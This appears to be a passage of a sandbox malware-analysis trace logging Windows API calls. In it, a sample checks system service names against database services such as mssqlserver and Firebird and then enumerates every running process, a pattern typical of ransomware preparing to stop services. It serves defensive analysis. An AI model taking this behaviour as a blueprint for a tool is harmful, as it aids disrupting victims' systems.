(lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0201.726] lstrlenW (lpString="SamSs") returned 5 [0201.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0201.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0201.726] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0201.726] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0201.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0201.726] lstrlenW (lpString="Schedule") returned 8 [0201.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0201.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0201.726] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0201.726] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0201.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0201.726] lstrlenW (lpString="SecurityHealthService") returned 21 [0201.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0201.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0201.726] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0201.726] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0201.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0201.726] lstrlenW (lpString="SENS") returned 4 [0201.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0201.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0201.726] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0201.726] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0201.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0201.726] lstrlenW (lpString="ShellHWDetection") returned 16 [0201.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0201.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0201.726] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0201.727] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0201.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0201.727] lstrlenW (lpString="Spooler") returned 7 [0201.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0201.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0201.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0201.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0201.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0201.727] lstrlenW (lpString="SSDPSRV") returned 7 [0201.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0201.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0201.727] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0201.727] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0201.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0201.727] lstrlenW (lpString="StateRepository") returned 15 [0201.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0201.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0201.727] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0201.727] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0201.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0201.727] lstrlenW (lpString="SysMain") returned 7 [0201.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0201.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0201.727] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0201.727] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0201.727] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x801a48 | out: hHeap=0x790000) returned 1 [0201.727] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x34c [0202.059] Process32FirstW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.060] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0202.061] lstrlenW (lpString="System") returned 6 [0202.061] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0202.061] lstrlenW (lpString="smss.exe") returned 8 [0202.062] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0202.062] lstrlenW (lpString="csrss.exe") returned 9 [0202.062] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0202.063] lstrlenW (lpString="wininit.exe") returned 11 [0202.063] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0202.064] lstrlenW (lpString="csrss.exe") returned 9 [0202.064] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0202.085] lstrlenW (lpString="winlogon.exe") returned 12 [0202.086] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0202.089] lstrlenW (lpString="services.exe") returned 12 [0202.089] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0202.090] lstrlenW (lpString="lsass.exe") returned 9 [0202.090] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.091] lstrlenW (lpString="svchost.exe") returned 11 [0202.091] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0202.092] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0202.092] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0202.093] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0202.093] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.094] lstrlenW (lpString="svchost.exe") returned 11 [0202.094] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0202.095] lstrlenW (lpString="dwm.exe") returned 7 [0202.095] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.096] lstrlenW (lpString="svchost.exe") returned 11 [0202.098] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.099] lstrlenW (lpString="svchost.exe") returned 11 [0202.099] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.100] lstrlenW (lpString="svchost.exe") returned 11 [0202.100] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.101] lstrlenW (lpString="svchost.exe") returned 11 [0202.101] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.102] lstrlenW (lpString="svchost.exe") returned 11 [0202.102] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.104] lstrlenW (lpString="svchost.exe") returned 11 [0202.105] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.106] lstrlenW (lpString="svchost.exe") returned 11 [0202.106] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.107] lstrlenW (lpString="svchost.exe") returned 11 [0202.107] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.108] lstrlenW (lpString="svchost.exe") returned 11 [0202.108] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0202.108] lstrlenW (lpString="spoolsv.exe") returned 11 [0202.108] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.109] lstrlenW (lpString="svchost.exe") returned 11 [0202.109] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.110] lstrlenW (lpString="svchost.exe") returned 11 [0202.110] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0202.111] lstrlenW (lpString="audiodg.exe") returned 11 [0202.111] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0202.114] lstrlenW (lpString="sihost.exe") returned 10 [0202.114] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.115] lstrlenW (lpString="svchost.exe") returned 11 [0202.115] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0202.116] lstrlenW (lpString="taskhostw.exe") returned 13 [0202.116] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0202.117] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0202.117] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0202.118] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0202.118] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0202.118] lstrlenW (lpString="explorer.exe") returned 12 [0202.118] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0202.119] lstrlenW (lpString="Memory Compression") returned 18 [0202.119] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0202.439] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0202.439] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0202.541] lstrlenW (lpString="SearchUI.exe") returned 12 [0202.541] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0202.542] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0202.542] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0202.568] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0202.568] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0202.569] lstrlenW (lpString="entering.exe") returned 12 [0202.569] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0202.570] lstrlenW (lpString="literally.exe") returned 13 [0202.570] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0202.571] lstrlenW (lpString="prep.exe") returned 8 [0202.571] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0202.572] lstrlenW (lpString="homeless.exe") returned 12 [0202.572] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0202.573] lstrlenW (lpString="tips.exe") returned 8 [0202.573] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0202.574] lstrlenW (lpString="rhode_cow.exe") returned 13 [0202.574] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0202.575] lstrlenW (lpString="discount.exe") returned 12 [0202.575] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0202.576] lstrlenW (lpString="littleclosest.exe") returned 17 [0202.576] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0202.577] lstrlenW (lpString="compact.exe") returned 11 [0202.577] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0202.579] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0202.579] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0202.580] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0202.580] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0202.581] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0202.581] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0202.583] lstrlenW (lpString="vincentkills.exe") returned 16 [0202.583] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0202.583] lstrlenW (lpString="armstrong.exe") returned 13 [0202.583] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0202.597] lstrlenW (lpString="superb_guilty.exe") returned 17 [0202.597] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0202.598] lstrlenW (lpString="conditional employer.exe") returned 24 [0202.598] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0202.599] lstrlenW (lpString="middle shown.exe") returned 16 [0202.599] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0202.600] lstrlenW (lpString="forced_online.exe") returned 17 [0202.600] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0202.601] lstrlenW (lpString="knitting.exe") returned 12 [0202.601] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0202.602] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0202.602] Process32NextW (in: hSnapshot=0x34c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0202.603] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0202.603] 